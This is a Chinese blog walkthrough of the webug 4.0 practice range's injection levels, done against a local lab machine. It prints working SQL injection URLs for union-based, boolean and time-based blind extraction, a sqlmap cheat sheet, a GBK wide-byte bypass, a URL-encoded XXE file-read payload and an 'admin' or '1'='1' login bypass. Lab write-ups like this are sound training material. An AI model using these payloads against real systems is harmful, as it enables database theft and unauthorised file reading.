webug4.0——注入篇

webug4.0——注入篇

    • 第一关 显错注入
    • 第二关 布尔注入
    • 第三关 延时注入
    • 第四关 post注入
    • 第五关 过滤注入
    • 第六关 宽字节注入
    • 第七关 xxe注入
    • 第八关 CSV注入
    • 第十一关 万能密码登陆

今天接触到一个好玩的靶场环境~~ webug
就去下载安装玩了一下,网盘速度是真的慢,下载下一个下午!!!

附上下载链接:(内附安装教程)
链接: https://pan.baidu.com/s/1WlKzFXsNkfkzzCUR_PYtfA
提取码: jcaa

装好环境,在本地打开,界面还是不错的~
webug4.0——注入篇_第1张图片
直接开耍!!!

第一关 显错注入

看题目意思就知道是注入,还是报错注入
打开页面:
webug4.0——注入篇_第2张图片
id肯定有问题,
后面经过尝试,发现怎么弄都不行,后面找到了解决方法
切换一下版本
webug4.0——注入篇_第3张图片
之后,在id后接入单引号,报错:
webug4.0——注入篇_第4张图片
ok,报错注入,最基本的一种
直接套路来
id=1’ order by 2%23成功
id=1’ order by 3%23失败
ok,查询结果为两列

接下来找回显的位置:
webug4.0——注入篇_第5张图片
有了回显,好办多了
继续走,基本模板,毫无套路可说

http://192.168.80.128/control/sqlinject/manifest_error.php?id=1%27union%20select%201,database()%23
http://192.168.80.128/control/sqlinject/manifest_error.php?id=1%27union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23
http://192.168.80.128/control/sqlinject/manifest_error.php?id=1%27union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27flag%27%23
http://192.168.80.128/control/sqlinject/manifest_error.php?id=1%27union%20select%201,group_concat(flag)%20from%20flag%23

得到flag:
webug4.0——注入篇_第6张图片

提交:
webug4.0——注入篇_第7张图片

emmm,题目貌似有点简单,不过看着覆盖面好像挺广的
就当作是巩固自己的基础知识吧,久了没手工注入,
连最基本的注入语句都差点忘了

第二关 布尔注入

盲注的一种嘛,就不多说了
手工注入也行,不过时间可能会花费很多
用脚本跑也行,这个也差不多吧,
用bp貌似也可以
还有sqlmap跑也可以
布尔盲注其实还是挺简单的
打开页面,发现题目和第一关是一样的不过flag貌似不同
利用and 1=1和and 1=2判断
webug4.0——注入篇_第8张图片
webug4.0——注入篇_第9张图片
确实存在布尔注入,
可以利用很多函数来进行查询
ascii、mid、substr、ord等等可以剪切字符串的函数来进行操作
一切都是花里胡哨,
手工过程太过复杂,就不去说了,大体和我之前做的一道ctf题目差不多
MOCTF 简单注入
过程差不多,就是数据库不同,表不同,而且这个没过滤,更加简单
当然最快捷还是sqlmap跑,命令如下:

sqlmap -h 												查看相关参数
sqlmap -u 目标网址 										判断网站数据库类型
sqlmap -u 目标网址 --dbs									查看存在的数据库
sqlmap -u 目标网址 --tables -D 数据库名					查看指定数据库中存在的表
sqlmap -u 目标网址 --columns -T 表名 -D 数据库名			获取表中的字段
sqlmap -u 目标网址 --dump -C 字段名称 -T 表名 -D 数据库名	查看表里存储的内容

最后的flag:fdsafsdfa

第三关 延时注入

延时注入主要针对页面无变化,无法用布尔真假判断,无法报错的情况下注入
而且学会利用还得需要知道几个函数,我觉得玩过sqli的小伙伴肯定知道这些东西,啊哈哈哈哈

sleep() 							延时
if(condition,ture,fales) 			条件语句
ascii() 							转换成ascii,上面的布尔注入有时也会用到
substring("string",strart,length) 	从哪开始取几位,上面的布尔注入有时也会用到,mid()也一样

ok,页面还是没变化,肯定是代码发现了变化
输入id=1%27%20and%20sleep(5)%20%23
页面明显发现变化,而且能明显感受到页面延时
webug4.0——注入篇_第10张图片
因为我们知道数据库为webug,所以直接测试:

id=1%27%20and%20sleep(if(database()="webug",0,5))%23

没毛病,页面没有延时,否则出现五秒延时,ok,确实存在延时注入
同样和布尔注入差不多,也是盲注的一种,
通过1' and if(ascii(substr(database(),1,1))=xxx,sleep(3),1) %23
一个字符一个字符去猜测库名,表名等!
手工太过繁琐,脚本也行,工具也行,这就不再啰嗦了,
各位就亲自去尝试吧,反正与布尔注入差不多
flag:gfdgdfsdg

第四关 post注入

进入发现一个搜索框,怀疑就是注入点
进行测试,输入单引号,发现报错,果然存在注入点
webug4.0——注入篇_第11张图片
在这里插入图片描述
经过测试发现,没有任何回显~~
怀疑是盲注,经过测试发现1' or sleep(3)#有延时
很显然,又是一个延时注入,只不过这里传递的方式是POST
步骤与第三关的差不多,就不再多说了!
flag:dsfasdczxcg

第五关 过滤注入

进入发现页面与第四关一样
webug4.0——注入篇_第12张图片
根据题目提示,可能过滤了什么东西,以为是sleep过滤了
结果发现并没有,空格也没有过滤,if也没有过滤
emmm,不就和上一关一样吗???
去看看源码,嘻嘻嘻嘻
结果发现,他过滤了select,,,,,
webug4.0——注入篇_第13张图片
emmm,貌似都不算过滤,相当于没有,这算个什么事啊
只有单独输入select才会弹出不要尝试注入
既然如此那就没什么好说的,就是与第四关一样了,,,,
flag:safsafasdfasdf

第六关 宽字节注入

这个宽字节就和报错注入差不多,很典型的一道sql注入的题目,最经典的,没有任何花里胡哨
就和下面这个差不多
墨者学院之SQL注入漏洞测试(宽字节)
由于单引号被/转义了,所以我们需要加上%df,字符%bf在满足上述条件的情况下会变成%bf’。
其中反斜杠(\)的十六进制编码是%5C,单引号(’)的十六进制编码是%27
那么就可以得出%bf '=%bf%5c%27
如果程序的默认字符集是GBK等宽字节字符集,
则MySQL会认为%bf%5c是一个宽字符,也就是“縗”
也就是说%bf ‘=%bf%5c%27=縗’
输入id=1%df%27union%20select%201,2%20%23,发现回显在第二列上
webug4.0——注入篇_第14张图片
ok,接下来步骤就和第一关一摸一样了(只要在单引号前面加上%df即可),不在赘述
flag:dfsadfsadfas

第七关 xxe注入

第一次接触xxe的注入,必须记录一下,看了下面这篇大佬的文章
XXE注入详解
这个题的注入估摸着应该是最简单的任意文件读取
随便输入,都会出现:
webug4.0——注入篇_第15张图片
使用bp进行抓包!!!
先在C盘下创建一个文件1.txt:
webug4.0——注入篇_第16张图片
接下来构造一下payload:



]>

    &content;
     

由于存在换行,所以转化为URL编码:

%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%3f%3e%0a%3c%21%44%4f%43%54%59%50%45%20%41%4e%59%20%5b%0a%20%20%20%20%3c%21%45%4e%54%49%54%59%20%63%6f%6e%74%65%6e%74%20%53%59%53%54%45%4d%20%22%66%69%6c%65%3a%2f%2f%2f%63%3a%2f%31%2e%74%78%74%22%3e%0a%5d%3e%0a%3c%6e%6f%74%65%3e%0a%20%20%20%20%3c%6e%61%6d%65%3e%26%63%6f%6e%74%65%6e%74%3b%3c%2f%6e%61%6d%65%3e%0a%3c%2f%6e%6f%74%65%3e%20%20%20%20%20

通过post传参
得到文件中的内容:
webug4.0——注入篇_第17张图片
webug4.0——注入篇_第18张图片
emmm,这题应该就是这样做的,不过我不知道flag在哪个文件中,,,,
先记录着,xxe漏洞这个东西虽说现在很少存在,但是还是要学的,先留个坑吧

第八关 CSV注入

emmm,这个题不知道是不是环境没有搭好,还是我不会用,,,,
什么都看不见,也不能导出,无奈,放弃~~
webug4.0——注入篇_第19张图片
不过,还是去搜索看了一下CSV注入
浅谈CSV注入漏洞

第十一关 万能密码登陆

webug4.0——注入篇_第20张图片
账号密码都是admin,不过万能密码就是:
账号:admin’ or ‘1’=‘1’#
密码随便都行,这就不用多说了,so easy!!!
webug4.0——注入篇_第21张图片

OK,注入篇完结~~

你可能感兴趣的:(靶场实战)